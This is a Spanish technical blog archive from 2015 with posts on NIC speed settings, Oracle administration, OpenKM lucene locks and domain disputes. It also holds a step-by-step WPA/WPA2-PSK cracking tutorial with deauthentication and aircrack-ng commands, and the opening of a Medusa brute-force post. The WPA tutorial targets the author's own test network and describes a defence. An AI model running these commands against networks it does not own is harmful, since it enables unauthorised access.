martes, 22 de diciembre de 2015

Configurar la velocidad de negociación y duplex de una interfaz en Red Hat

Puede haber situaciones en las que necesitemos que un servidor pinchado en un switch de 1000 Mb/s tenga que negociar sus comunicaciones a 100 Mb/s. Aunque a priori puede parecer que el supuesto no es aplicable en ningún caso, para los que nos enfrentamos todos los días a la ingeniería de redes y sistemas encontraremos un ejemplo donde esto aplica.
Si tenemos conectados todos los servidores a un switch que gestiona a 1000 Mb/s y entre ellos se halla un servidor que es el encargado de realizar y recepcionar los backup`s del resto, en condiciones normales cuando el servidor de backup se esté trayendo las copias de seguridad de uno de ellos el tráfico por ambas bocas de los servidores será a 1000 Mb/s y esto provocará que el servidor de origen tenga prácticamente el 95%-100% de su tráfico ocupado con esta transferencia, impidiendo de esta manera que pueda seguir prestando el servicio normal que debería prestar como por ejemplo que usuarios puedan acceder a sus aplicaciones. Pero si por el contrario forzamos a que el servidor de backup, pese a estar en un switch de giga, negocie las conexiones a 100 Mb/s nunca nos encontraremos con este problema dado que en la transferencia descrita antes la boca del servidor origen solo tendría una carga máxima de 100 Mb/s, pudiendo destinar otros 900 Mb/s al resto de servicios normales que tenga alojados ya que el servidor de backup no puede negociar a más de 100 Mb/s.
Esta es una casuística real donde podemos aplicar esto pero no voy a entrar en si se podría realizar/complementar con otras medidas de control como limitar la velocidad de la boca del servidor de backup a 100 Mb/s si tenemos un switch de capa 3 o limitar el ancho de banda en la transferencia si la aplicación de backup lo permite, por ejemplo.

Para realizar esto deberemos utilizar el parámetro ETHTOOL_OPTS dentro del script de configuración de la interfaz (para mirar como configurar estos script de manera genérica en Red Hat podéis consultar este post). Por defecto, si no le definimos ETHTOOL_OPTS, el sistema establecerá esta opción como ETHTOOL_OPTS="autoneg on" pero si queremos por ejemplo limitar a 100 Mb/s la velocidad de la tarjeta y asignarle un duplex full deberemos indicarle la siguiente opción:

ETHTOOL_OPTS="speed 100 duplex full autoneg off"

Quedando un script parecido a este:

DEVICE=eth0
BOOTPROTO=none
HWADDR=b8:ca:AA:f8:15:AA
IPV6INIT=yes
NM_CONTROLLED=yes
ONBOOT=yes
TYPE=Ethernet
UUID="feAAeb60-103a-4a8b-8cb4-EE"
IPADDR=10.0.10.69
NETMASK=255.255.255.128
GATEWAY=10.0.10.1
ETHTOOL_OPTS="speed 100 duplex full autoneg off"
DNS1=10.0.10.80
USERCTL=no

Tras realizar este script necesitaremos reiniciar el servicio network para que coja la nueva configuración:

rencinar@lapsusmentis:~$ /etc/init.d/network restart

Una vez que tenemos nuestra tarjeta funcionando con la nueva configuración, podremos comprobar si está funcionando correctamente mediante el comando ethtool <interfaz de red>.

[root@lapsusmentis ~]# ethtool eth0
Settings for eth0:
        Supported ports: [ TP ]
        Supported link modes:   10baseT/Half 10baseT/Full
                                100baseT/Half 100baseT/Full
                                1000baseT/Half 1000baseT/Full
        Supported pause frame use: No
        Supports auto-negotiation: Yes
        Advertised link modes:  10baseT/Half 10baseT/Full
                                100baseT/Half 100baseT/Full
                                1000baseT/Half 1000baseT/Full
        Advertised pause frame use: Symmetric
        Advertised auto-negotiation: Yes
        Link partner advertised link modes:  10baseT/Half 10baseT/Full
                                             100baseT/Half 100baseT/Full
        Link partner advertised pause frame use: Symmetric
        Link partner advertised auto-negotiation: Yes
        Speed: 100Mb/s
        Duplex: Full
        Port: Twisted Pair
        PHYAD: 1
        Transceiver: internal
        Auto-negotiation: on
        MDI-X: off
        Supports Wake-on: g
        Wake-on: d
        Current message level: 0x000000ff (255)
                               drv probe link timer ifdown ifup rx_err tx_err
        Link detected: yes

En mi caso vemos que tras el cambio está funcionando a 100 Mb/s y Duplex full aunque la máquina esta en un switch donde por defecto se negocia a 1000 Mb/s.

jueves, 17 de diciembre de 2015

Ver el SID o el servicio de una base de datos Oracle XE

Cuando tenemos que configurar la conexión de bases de datos para Oracle en un IDE, como por ejemplo en Aqua Data Studio, a parte del usuario y contraseña nos pedirá introducir el SID o el servicio.

¿Qué es el SID y el servicio en Oracle?

  • El SID es un identificado único que identifica, en una base de datos Oracle, su instancia madre.
  • El servicio se encarga de conecta uno o varios SID´s.

¿Dónde puedo encontrar esta información?

Esta información se almacena en el archivo tnsnames.ora de nuestra instalación. En mi caso y para una instalación de Oracle 11.2 XE el contenido del archivo es:

-bash-$ cat /u01/app/oracle/product/11.2.0/xe/network/admin/tnsnames.ora

# tnsnames.ora Network Configuration File:

XE =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = rencinar01)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = XE)
    )
  )

EXTPROC_CONNECTION_DATA =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC_FOR_XE))
    )
    (CONNECT_DATA =
      (SID = PLExtProc)
      (PRESENTATION = RO)
    )
  )

Como podemos comprobar en este caso, mi SID es PLExtProc y mi servicio se llama XE (son los que genera por defecto Oracle 11.2 XE).

Con esta información más el usuario y la contraseña podremos configurar correctamente cualquier conexión a una base de datos Oracle.


miércoles, 25 de noviembre de 2015

Cambiar el nombre de la máquina en WifiSlax

Por defecto la distribución WifiSlax, tanto si la tenemos instalada como si la hemos arrancado como live CD, tiene el nombre de wifislax. A continuación pongo un ejemplo del prom con el nombre de la máquina.



Si lo que queremos es cambiar wifislax por otro nombre tendremos que editar el fichero NetworkManager.conf donde se encuentra la definición del nombre de la máquina, de la siguiente manera:

METEMPSICOSIS ~ # vi /etc/NetworkManager/NetworkManager.conf

Tras esto se nos abrirá el fichero y deberemos cambiar, en el apartado de [keyfile], el nombre del hostname por el que queramos. 
 

En mi caso lo sustituyo por METEMPSICOSIS:

# /etc/NetworkManager/NetworkManager.conf
#
# See NetworkManager.conf(5) for more information on this file

[main]
plugins=keyfile
dhcp=dhcpcd

[keyfile]
hostname=METEMPSICOSIS

[connection]
zone=


Una vez cambiado deberemos reiniciar la máquina para que el cambio tenga efecto. En mi caso podemos comprobar que se ha modificado.



domingo, 15 de noviembre de 2015

¿Pueden quitarme un dominio que he registrado?


En esta controversia se hayan muchas personas que como yo registramos dominios en internet bien sea por diversas ideas negocios que nos surgen o bien por estrategias relativas al SEO y que en ocasiones la denominación coincide con otros que ya hay registrados pero por supuesto con distinta extensión y en la mayor parte de los casos regulados por otros organismos. En este artículo voy a centrarme en los dominios regidos por el ICANN (dominios generales tales como .com, .org,...etc.), por EURID (dominios .eu) y por RED.es (dominios .es) dado que son los organismos que regulan los dominios que yo de manera habitual registro.
En el mundo solo puede haber 1 persona, física o jurídica, propietaria de un dominio concreto y en general se rige por la norma de que el primero que lo registra es el propietario legítimo que puede usarlo. Pero claro, teniendo en cuenta la cantidad de dominios similares que pueden existir  (por ejemplo fempresadeejemplo.com, fempresadeejemploooo.com, fempresadeeeeejemplo.com,...etc.) y la gran cantidad de extensiones para un mismo dominio(por ejemplo fempresadeejemplo.com, fempresadeejemplo.eu, fempresadeejemplo.org, fempresadeejemplo.es, fempresadeejemplo.cat, fempresadeejemplo.info,...etc.) a una empresa le sería altamente costoso registrar absolutamente todos los posibles dominios de una palabra o podrían perjudicarla económicamente si se registra un dominio similar y parte de su tráfico legítimo lo recibe este dominio "fraudulento" con el fin de lucrarse (por publicidad, por ventas de productos,...etc.)
Para regular y por tanto evitar estas situaciones ICANN, EURID y RED.es tienen unas políticas de uso y por supuesto un tribunal de arbitraje para resolver este tipo de conflictos. A grandes rasgos, las 3 condiciones que se tienen que dar para poder "expropiar" un dominio son (se entiende que en el siguiente texto la figura del demandante es el que reclama la propiedad o uso del dominio que nosotros tenemos registrado):
  • Que nuestro nombre de dominio es idéntico, o similar hasta el punto de poderlo confundir, a una marca de productos o de servicios sobre los cuales el demandante tiene derechos.
  • Que nosotros no tenemos derechos o intereses legítimos con respecto al nombre de dominio.
  • Que nuestro nombre de dominio ha sido registrado y está siendo utilizado de mala fe. Que el nombre de dominio ha sido registrado o se esté utilizando de mala fe. Considerando por mala fe cualquiera de las siguientes situaciones:
    • Circunstancias que indiquen que nuestro objetivo primordial al registrar o adquirir el nombre de dominio era vender, alquilar o ceder de cualquier otro modo el registro de dicho nombre de dominio al demandante titular de la marca de productos o de servicios o a un competidor de dicho demandante por un valor superior a los costes directos documentados directamente relacionados con dicho nombre de dominio.
    • Si nosotros hemos registrado el nombre de dominio con el fin de evitar que el titular de la marca de los productos o servicios refleje la marca en un determinado nombre de dominio, siempre y cuando nosotros hayamos incurrido en una conducta de esa índole.
    • Si nuestro objetivo fundamental al registrar el nombre de dominio era obstaculizar la actividad comercial de un competidor
    • Si, al utilizar el nombre de dominio, nosotros hemos intentado de manera intencionada atraer, con ánimo de lucro, a usuarios de Internet a nuestro sitio web o a otro sitio en línea, creando confusión con la marca del demandante en cuanto al origen, patrocinio, afiliación o promoción de nuestro sitio web o nuestro sitio en línea o de un producto o servicio en nuestro sitio web o sitio en línea.
A continuación voy a proponer casuísticas que nos pueden suceder y como aplica la normativa anterior en cada uno de los casos. Antes de continuar decir que para conocer que alguien está reclamando la propiedad del dominio nos tiene que llegar un documento por parte del tribunal de arbitraje para realizar las alegaciones pertinentes y de no contestar a ese escrito casi con total seguridad nos lo expropiaran.

Caso 1

Tengo el dominio fempresadeejemplo.com registrado a mi nombre y con una web donde pone que está en venta. La empresa Fino Empresa de Ejemplo.SL tiene registrado el dominio fempresadeejemplo.es, la marca fempresadeejemplo y está operando con él desde años. Esta me realiza una reclamación a través del ICANN para quedarse con él ¿Puede expropiármelo? ¿Se lo puedo vender?
Si analizamos los puntos anteriores el primer punto lo cumplirían porque es cierto que el dominio es idéntico al que ellos tienen registrado y sobre el que tienen derechos. El segundo punto también lo cumplirían siempre y cuando no tengamos registrada alguna denominación social (el coste es de unos 17€)  para una futura empresa o un nombre comercial registrado.
El problema es que no nos lo podrán expropiar porque no estamos obrando de mala fe dado que en ningún caso estamos obteniendo beneficios directos con ese dominio (no hemos montado una web similar a la que ellos tienen para robar clientes, obtener ventas,...etc.), tampoco nos hemos puesto en contacto con esta empresa para indicarles ningún precio de venta desorbitado,...etc.
Ante esto o bien el tribunal pueden forzarnos a traspasarlo pagándonos el dominio al precio de venta más los gastos directos de gestión (gastos del proveedor, personal que lo realiza,...etc.) o bien nos lo dejan a nuestro nombre entendiendo que no ha habido mala fe que mirando otros casos similares sería lo más probable.

Caso 2

Tengo el dominio fempresadeejemplo.com registrado a mi nombre y lanzo un correo con una oferta de venta de 2500€ a la empresa Fino Empresa de Ejemplo.SL que tiene registrado el dominio fempresadeejemplo.es.
Es un caso similar al anterior. El problema es que al haber lanzado una oferta de venta por encima de los costes directos demostrables, el tribunal comprenderá que estamos obrando de mala fe y nos forzará al traspaso del dominio.

Caso 3

Hemos registrado el dominio fempresadeejemplo.com porque vamos a montar la empresa Fitosanitarios Empresa de Ejemplo.SL y la empresa Fino Empresa de Ejemplo.SL, que tiene el dominio fempresadeejemplo.es, nos lo reclama.
En este caso, por tener su actividad en sectores distintos no cumpliría ninguno de los 3 puntos anteriores.

Conclusión

En general si no estamos obrando de mala fe no tenemos que tener miedo a que nos quiten nuestros dominios y de la misma manera si decidimos montar una empresa y registrar un dominio similar a otro ya existente tampoco tendremos problemas siempre y cuando las empresas operen en sectores distintos (aunque esto no es nada recomendable por el SEO).
Dicho esto, si lo que queremos es vender un dominio por un precio elevado deberemos construirnos previamente una coartada solida donde deberemos registrar una denominación social para una empresa futura que compagine con el dominio registrado y de esta manera podremos defender tanto el punto 1 como el 2 sin ningún problema.

jueves, 29 de octubre de 2015

Cracking WPA2 PSK/WPA PSK por fuerza bruta

Algunos aún nos acordamos de los garrafales fallos de seguridad que tenía el protocolo WEP para redes inalámbricas, que en cuestión de minutos y con o sin clientes conectados, cualquiera podía hackearnos el acceso inyectando tráfico y sacando nuestra contraseña. Tras esto y por esto surgieron los protocolos WPA y WPA2 para aumentar la seguridad de este tipo de redes pero ¿Realmente son inexpugnables?
Para responder a esa pregunta deberemos diferenciar 3 escenarios.
  • El primer escenario es puramente con los protocolos WPA/WPA2 y su utilización sin tecnologías complementarias tales como WPS. En este escenario podemos considerar segura una red wifi que los implemente.
  • El segundo escenario, que es el más extendido, es el uso de una de las variantes de WPA/WPA2 que es WPA PSK/WPA2 PSK. En este escenario, tal y como vamos a procedimentar a lo largo de este artículo, no se pueden considerar seguras al darse el caso de poderse crackear. Toda la seguridad de estas redes quedará soportada por la complejidad de la contraseña y este hecho en la mayoría de los casos es un riesgo en si mismo dado que muy poca gente/empresas cumplen una política de contraseñas adecuada (las empresas suelen tener unas políticas muy sesudas en cuanto a complejidad, longitud, frecuencia de cambio,…etc. Pero en pocos casos la cumplen).
  • El tercer escenario es tener combinadas una red inalámbrica con WPA/WPA2 más otra tecnología como por ejemplo WPS. El problema está en que independientemente de la seguridad que pueda darnos WPA/WPA2, estaremos absolutamente supeditados a que la tecnología complementaria que estemos utilizando no tenga fallos de seguridad. Por ejemplo cualquier red inalámbrica que tenga WPS 1.0 puede comprometerse en cuestión de minutos gracias al error descubierto por Stefan Viehböck.
Teniendo en cuenta lo descrito, la tecnología WPA PSK/WPA2 PSK puede ser válida para entornos puramente personales pero nunca para entornos profesionales/empresariales por la posibilidad de ser comprometida, debiendo elegir para estos entornos WPA/WPA2 puros. Además de lo anterior, donde he reflexionado sobre lo puramente tecnológico, deberemos tener en cuenta los fallos de seguridad que se dan en la capa 8 (Layer 8) y que pueden hacer sucumbir hasta el mejor diseño de seguridad tecnológica. Por ejemplo si tenemos una red wifi absolutamente robusta pero un usuario colabora con un ataque Wi-Phishing de manera involuntaria, todo nuestro trabajo habrá sido en vano. Al final del artículo expondré como debe configurarse una red inalámbrica segura.

¿Cómo funcionan WPA PSK y WPA2 PSK?

A efectos de filosofía, WPA y WPA2 funcionan de la misma manera, la diferencia que tienen es en como cifran cada uno las comunicaciones y como garantizan la integridad de las mismas:
  • WPA basa su cifrado en TKIP (Temporary Key Integrity Protocol) que está basado en ARC4 (como el protocolo WEB) y utiliza una versión antigua de MIC (Message Integrity Code) para garantizar la integridad del mensaje.
  • WPA2 basa su cifrado en CCMP (Counter-mode/CBC-MAC Protocol) basado en AES (Advanced Encrytion System) y utiliza una versión muy reciente de MIC (Message Integrity Code) para garantizar la integridad del mensaje.
A grandes rasgos, cuando un equipo se intenta conectar a un AP (Access Point) tendrá que pasar por 2 fases para conseguirlo, una primera fase de autentificación y otra de asociación. De esta manera se produce un intercambio de claves donde mediante la PSK tanto el cliente como el AP generarán la clave PMK y se utilizará durante la sesión en curso con el fin de garantizar que en esta comunicación no se producen problemas por ejemplo de suplantación por parte de un SSID malicioso. Con esta PMK más 2 números aleatorios generados uno por el cliente y otro por el AP e intercambiados entre ellos, se generará la clave PTK con la que se cifrarán todas las comunicaciones (esta PTK es idéntica para ambos). A este intercambio de información para la generación de la PTK se le llama 4-way-Handshake.

¿Que hace posible el ataque a la clave PSK?

Lo que posibilita el ataque es que si escuchamos toda la autenticación del cliente, previamente autenticado (con WPA PSK/WPA2 PSK no realizará el proceso de re-autenticación), tendremos capturadas la PMK, las MAC, los números aleatorios y los SSID. Con esto y sabiendo que la PMK se genera mediante el algoritmo PBKDF2 y que el único valor que nos falta es la PSK lo único que tendremos que hacer es probar frases con este algoritmo, comparando el resultado y una vez obtenido el valor tendremos la clave PSK que se ha usado en la autenticación. Y esta situación la podremos forzar gracias al ataque 0 o ataque de desautenticación, por esto elegiremos redes que tengan algún cliente conectado.

Pasos para realizar este ataque

Antes de empezar con los pasos indicar que el artículo se ha realizado con la tarjeta Tp-Link TL-WN722N que implementa un chip Atheros AR9271 y desde mi punto de vista es la mejor tarjeta para auditorías por su estabilidad, lo excelente que es escuchando y su gran relación calidad precio (menos de 15€). Si estáis probando con otra tarjeta y veis que no obtenéis el Handshake después de 5 minutos, creerme que es debido al chip que tenga vuestra tarjeta. Por ejemplo si probáis estos pasos con la tarjeta Edimax EW-7318USG que implementa un chip RT257, tardaréis una eternidad (o nunca lo conseguiréis) porque es algo sorda. Además de esto deberemos tener instalado el paquete aircrack-ng (para instalarlo en debian realizaremos un apt-get install aircrack-ng).

1-. Comprobamos que nuestro sistema reconoce la tarjeta wifi que le hemos pinchado. Para ello usamos el comando iwconfig.
METEMPSICOSIS ~ # iwconfig


2-. Ponemos nuestra tarjeta en modo monitor con el comando airmon-ng. En el paso anterior comprobamos que mi tarjeta es la wlan0 así que lanzaré el siguiente comando para ponerla en modo monitor y la interfaz mon0 que resulta es la que está en modo monitor y por tanto la que usaremos a lo largo de los siguientes pasos.
METEMPSICOSIS # airmon-ng start wlan0


3-. Miramos todas las redes que tenemos disponibles y deberemos elegir una que el tipo de autenticación sea PSK y tenga clientes conectados (recordamos que sin clientes conectados no los podemos desautenticar y por tanto no podemos escuchar la autenticación para obtener el handshake). Yo he generado una red para esta prueba que es METEMPSICOSIS con el BSSID 84:9C:A6:B0:4D:E9, que está en el canal 2 y que tiene un cliente conectado con MAC 7C:FA:DF:45:0B:0B.
METEMPSICOSIS # airodump-ng mon0


 4-. Ahora nos pondremos a capturar el tráfico. La estructura del comando es airodump-ng -w <nombre del archivo de la captura> -c <canal> --bssid <bssid del AP> <interfaz_en_modo_monitor>

METEMPSICOSIS # airodump-ng -w captura -c 2 --bssid 84:9C:A6:B0:4D:E9 mon0


5-.Ahora mientras estamos escuchado el trafico lanzamos el ataque de desautenticación o del 0 en otra pestaña/ventana/consola (es importantísimo no cerrar ni cancelar el comando anterior, tiene que seguir lanzado mientras ejecutemos este ataque, de lo contrario no escucharemos la autenticación.). La estructura del comando es aireplay-ng -0 <número de reintentos> -a <bssid del AP> -c <MAC del cliente conectado>. En principio con 50 reintentos tendremos suficiente pero si nuestra tarjeta es un poco sorda deberemos aumentarlo y si vemos que con más de 100 no conseguimos el handshake deberemos considerar el cambio de tarjeta.

METEMPSICOSIS # aireplay-ng -0 50 -a 84:9C:A6:B0:4D:E9 -c 7C:FA:DF:45:0B:0B mon0


6-. Una vez finalizado el ataque del 0 veremos cómo nos ha aparecido el handshake donde tenemos lanzado el comando que estaba escuchando las comunicaciones.


7-. Tras haber obtenido el handshake cancelaremos la escucha y comprobaremos que se ha generado el archivo .cap que contiene todo el contenido de nuestra escucha.


8-. Ahora tenemos 2 vertientes para conseguir la clave:
  • Usar un diccionario que tenemos generado para probar las claves.
    • A mi esta es la que más me gusta porque puedo generar un diccionario "especial" combinando los resultados de uno generado con crunch con otros diccionarios de referencia que podemos encontrar en la web,...etc.
      • La sintaxis del comandos es aircrack-ng -a 2 <nombre del archivo .cap> -e default -b <bssid del AP> -w diccionario
  • Utilizar crunch en vivo para, sin necesitar un diccionario previamente creado, probar claves.
    • La gran ventaja de esto es que no necesitamos nada de espacio en disco para almacenar el diccionario. Podéis consultar el artículo que escribí sobre como generar diccionarios con crunch.
      • La sintaxis del comandos es crunch <todas las opciones que requiera para generar el diccionario> ||  aircrack-ng -a 2 <nombre del archivo .cap> -e default -b <bssid del AP> -w -
    9-. Tras lanzarlo empezará el proceso que comprobará todas las claves candidatas.


    10-. En el momento que dé con la clave el proceso se parará indicándonos en pantalla la que es (yo he preparado un diccionario para el artículo con el fin de no tardar unos días).



    ¿Cómo evitar el ataque a la clave PSK?

    Para evitar este ataque deberemos evitar a toda costa que nos puedan realizar el ataque 0 sin realizar una re-autenticación posterior. Por ello deberemos montar una WPA/WPA2 de las denominadas empresariales. Esto es lo mismo que decir que la conexión debe estar configurada utilizando 802.1x para la autenticación del puerto y EAP a un servidor RADIUS para  autenticar la conexión. De esta manera evitaremos que tras el ataque se pase automáticamente a la fase de intercambio de claves.

    miércoles, 21 de octubre de 2015

    org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: SimpleFSLock@/opt/tomcat/repository/index/com.openkm.dao.bean.NodeBase/write.lock

    Cuando paramos OpenKM de una manera incorrecta, bien porque paramos el servidor que aloja la aplicación de OpenKM sin pararlo primero de manera ordenada o bien porque matamos el servicio de la aplicación directamente, es muy posible que se corrompan o se bloqueen los índices de lucene. De esta manera si tenemos una aplicación, por ejemplo en java, trabajando contra OpenKM y se nos produce este bloqueo o corrupción de los índices de lucene tendremos entre otros este conjunto de errores (los pongo con el fin de que a la gente le sea más fácil encontrar este artículo):
    • ERROR com.openkm.dao.HibernateUtil- could not init listeners
      org.hibernate.HibernateException: could not init listeners
       
    • ERROR org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/OpenKM].[CXFServlet]- El Servlet.service() para el servlet [CXFServlet] en el contexto con ruta [/OpenKM] lanzó la excepción [La ejecución del Filtro lanzó una excepción] con causa raíz
      org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: SimpleFSLock@/opt/tomcat/repository/index/com.openkm.dao.bean.NodeBase/write.lock

    Pasos para solucionarlo

    Antes de nada indicar que mi tomcat, donde esta desplegado OpenKM, está instalado en /opt/tomcat/ y el directorio donde se encuentra el repositorio de OpenKM lo tengo en /opt/tomcat/repository/.

    1.- Entramos en el directorio bin de nuestro tomcat.
    [root@openkm ~]# cd /opt/tomcat/bin/

    2.- Paramos el servicio de tomcat donde está desplegado OpenKM.
    [root@openkm: /opt/tomcat/bin/]# ./shutdown.sh

    3.- Como siempre, es recomendable realizar un backup del directorio index, que es donde se almacenan los índices de lucene sobre los que vamos a realizar las siguientes acciones. Para ello basta con realizar un tar del directorio.
    [root@openkm: /opt/tomcat/bin/]#  tar -czvf index.tar.gz /opt/tomcat/repository/index

    4.- Eliminamos el directorio index de nuestro repositorio
     [root@openkm: /opt/tomcat/bin/]# rm -rf /opt/tomcat/repository/index

    5.- Levantamos el tomcat que tiene el OpenKM
    [root@openkm: /opt/tomcat/bin/]# ./startup.sh

    Tras esto OpenKM regenerará toda la estructura de índices de lucene. No os preocupéis si a priori no veis que se ha vuelto a generar la carpeta index y su contenido cuando lo arrancamos tras borrarla porque lo regenerará en el momento en el que empecemos a descargar, subir o ver documentos.

    sábado, 10 de octubre de 2015

    Error ORA-28000: the account is locked

    Cuando al intentar logarnos en una base de datos Oracle nos da el error ORA-28000: the account is locked, significa que el usuario con el que estamos intentando entrar está bloqueado (es posible que por superar el número máximo de intentos erróneos al realizar login). Ante esto tenemos 2 posibles escenarios:

    1- Conocemos otro usuario con permisos para desbloquear usuarios
    Si estamos en esta situación  deberemos logarnos con él y lanzar la siguiente consulta para verificar que el usuario está bloqueado. En el ejemplo que pongo a continuación voy a coger el usuario APEX_PUBLIC_USER:
    SQL> select username,account_status from dba_users;                               

    USERNAME                       ACCOUNT_STATUS
    ------------------------------              --------------------------------
    SYSTEM                               OPEN
    SYS                                       OPEN
    ANONYMOUS                      OPEN
    APEX_PUBLIC_USER          LOCKED
    APEX_040000                       LOCKED
    OUTLN                            EXPIRED & LOCKED
    XS$NULL                        EXPIRED & LOCKED
    XDB                                 EXPIRED & LOCKED
    CTXSYS                           EXPIRED & LOCKED
    MDSYS                            EXPIRED & LOCKED
    FLOWS_FILES                EXPIRED & LOCKED

    USERNAME                       ACCOUNT_STATUS
    ------------------------------               --------------------------------
    HR                                      EXPIRED & LOCKED


    Y una vez comprobado que el usuario realmente tiene el estatus bloqueado (LOCKED) lo desbloqueamos con la siguiente consulta:

    SQL> alter user APEX_PUBLIC_USER account unlock;

    Tras esto el usuario estará desbloqueado. Lo podemos comprobar lanzando de nuevo la consulta anterior:

    SQL> select username,account_status from dba_users;                              

    USERNAME                       ACCOUNT_STATUS
    ------------------------------             --------------------------------
    SYSTEM                                   OPEN
    SYS                                          OPEN
    ANONYMOUS                         OPEN
    APEX_PUBLIC_USER             OPEN
    APEX_040000                         LOCKED
    OUTLN                            EXPIRED & LOCKED
    XS$NULL                        EXPIRED & LOCKED
    XDB                                EXPIRED & LOCKED
    CTXSYS                          EXPIRED & LOCKED
    MDSYS                           EXPIRED & LOCKED
    FLOWS_FILES               EXPIRED & LOCKED

    USERNAME                       ACCOUNT_STATUS
    ------------------------------             --------------------------------
    HR                                    EXPIRED & LOCKED




    2- Es el único usuario que tenemos para acceder a la base de datos y está bloqueado
    En este caso deberemos acceder sin credenciales como indiqué en el artículo ERROR ORA-01017: invalid username/password; logon denied y en el momento que hayamos accedido al servidor realizaremos el paso 1.

    lunes, 7 de septiembre de 2015

    ERROR ORA-01017: invalid username/password; logon denied

    Si estamos intentando logarnos en una base de datos Oracle y por desconocer la contraseña o el usuario no podemos realizarlo, necesitaremos acceder a ella de una manera especial para poder cambiar la password de usuario en cuestión o chequear su nombre. Esto vale para cualquier usuario incluidos los usuarios SYS y SYSTEM.
    Cuando se realiza la instalación de Oracle XE en linux, se añade al sistema el usuario oracle pero sin contraseña. Lo primero que tendremos que hacer es ponerle una contraseña al usuario, si no se la hemos puesto, realizando lo siguiente:

    1-Nos logamos como root en el sistema.
    [root@oracle ~]#su -
    Password:

    2-Ahora nos logamos con el usuario oracle
    [root@oracle ~]#su - oracle

    3-Le cambiamos la contraseña con el comando passwd
    -bash-3.2$  passwd oracle
    Changing password for user oracle.
    New UNIX password:
    Retype new UNIX password:
    passwd: all authentication tokens updated successfully.

    Antes de continuar deberemos tener bien definidas las variables de entorno si no nos dará errores tales como SP2-0750: You may need to set ORACLE_HOME to your Oracle software directory, SP2-0667: Message file sp1<lang>.msb not found, ...etc. Para definirlas deberemos lanzar las siguientes sentencias:

    -bash-3.2$ export ORACLE_HOME=/u01/app/oracle/product/11.2.0/xe
    -bash-3.2$ export ORACLE_SID=XE
    -bash-3.2$ export PATH=$ORACLE_HOME/bin:$PATH

    Tras esto entramos en el directorio donde se encuentra el comando sqlplus y lo lanzamos con los parámetros que a continuación se indican:

    -bash-3.2$ cd /u01/app/oracle/product/11.2.0/xe/bin/
    -bash-3.2$ ./sqlplus / as sysdba
    SQL*Plus: Release 11.2.0.2.0 Production on Mon Aug 31 15:22:20 2015
    Copyright (c) 1982, 2011, Oracle.  All rights reserved.
    Connected to:
    Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
    SQL> 

    Una vez estemos dentro podremos realizar cualquier acción sobre la base de datos (cambiar la contraseña de un usuario, darle permisos sobre un tablespace,...etc). Como en la mayoría de los casos el error "ORA-01017: invalid username/password; logon denied" se debe a no conocer el nombre correcto o la contraseña correcta de un usuario realizaremos lo siguiente:

    1-Lanzamos la consulta que pongo a continuación para ver los usuarios dados de alta en el servidor de base de datos (en mi caso están solo los usuarios que se generan por defecto en todas las instalaciones).

    SQL> SELECT USERNAME FROM DBA_USERS;

    USERNAME
    ------------------------------
    SYSTEM
    SYS
    ANONYMOUS
    APEX_PUBLIC_USER
    APEX_040000
    OUTLN
    XS$NULL
    XDB
    CTXSYS
    MDSYS
    FLOWS_FILES
    HR

    2-Cambiamos la contraseña que tiene el usuario system por la que queramos. En mi caso estableceré 12345678 como nueva contraseña con la siguiente consulta (la estructura es alter user usuario identified by “password”; ):

    SQL> alter user system identified by “12345678”;
    User altered.

    Tras esto podremos realizar login con el siguiente comando si ningún problema:
    -bash-3.2$ ./sqlplus system/12345678

    martes, 1 de septiembre de 2015

    ERROR ORA-12705: Cannot access NLS data files or invalid environment specified

    Si al lanzar el comando sqlplus para conectarnos a una base de datos Oracle nos da el error "ERROR: ORA-12705: Cannot access NLS data files or invalid environment specified" tendremos un problema con el valor que le hemos asignado a la variable ORACLE_SID. Para conocer el SID de una base de datos Oracle deberemos entrar al archivo tnsnames.ora (por defecto está en el directorio /u01/app/oracle/product/11.2.0/xe/network/admin/tnsnames.ora) y miraremos el valor de la etiqueta SID = . El fichero tnsnames.ora será parecido al que pongo a continuación:

    # tnsnames.ora Network Configuration File:XE =
      (DESCRIPTION =
        (ADDRESS = (PROTOCOL = TCP)(HOST = predb01.lapsusmentis.com)(PORT = 1521))
        (CONNECT_DATA =
          (SERVER = DEDICATED)
          (SERVICE_NAME = XE)
        )
      )
    EXTPROC_CONNECTION_DATA =
      (DESCRIPTION =
        (ADDRESS_LIST =
          (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC_FOR_XE))
        )
        (CONNECT_DATA =
          (SID = PXSExtProc)
          (PRESENTATION = RO)
        )
      )


    Como podemos comprobar en este caso la variable ORACLE_SID debería tener el valor PXSExtProc. Para establecerlo solo tenemos que lanzar un export de la variable ORACLE_SID de la siguiente manera:

    -bash-3.2$ export ORACLE_SID=PLSExtProc

    Para hacerlo persistente deberemos incluir el comando export ORACLE_SID=PLSExtProc al final del fichero /etc/profile.

    miércoles, 26 de agosto de 2015

    Ataque por fuerza bruta con Medusa

    ¿Que es Medusa?

    Medusa es una herramienta para realizar ataques por fuerza bruta desarrollada por JoMo-Kun cuyo objetivo es conseguir acceso a sistemas remotos probando pares de usuarios/contraseñas de manera eficaz (login cracker). Las características más importantes de medusa son:
    • Posee un diseño modular lo que nos permite modificar el módulo de un servicio concreto sin tener que modificar el core de medusa. Además esto se realiza de una manera muy cómoda mediante los archivos .mod que son absolutamente independientes entre si, pudiendo ampliar por tanto cualquier funcionalidad que Medusa traiga de serie.
    • Permite una paralelización absoluta de los ataques pudiendo realizar ataques a múltiples host, usuarios o contraseñas al mismo tiempo sin restricciones.
    • Tiene una entrada de parámetros muy flexible, pudiendo realizar la entrada de hosts, usuarios, contraseñas y opciones de múltiples maneras.
    • Nos permite auditar la seguridad de los usuarios/contraseñas de acceso de los siguientes servicios: AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, RDP, REXEC, RLOGIN, RSH, SMBNT, SMTP, SMTP-VRFY, SNMP, SSH, SVN, Telnet, vmauthd, VNC, Genérico Wrapper y Web Form.

    Instalar Medusa

    Lo primero que haremos es descargarnos Medusa con el comando wget.
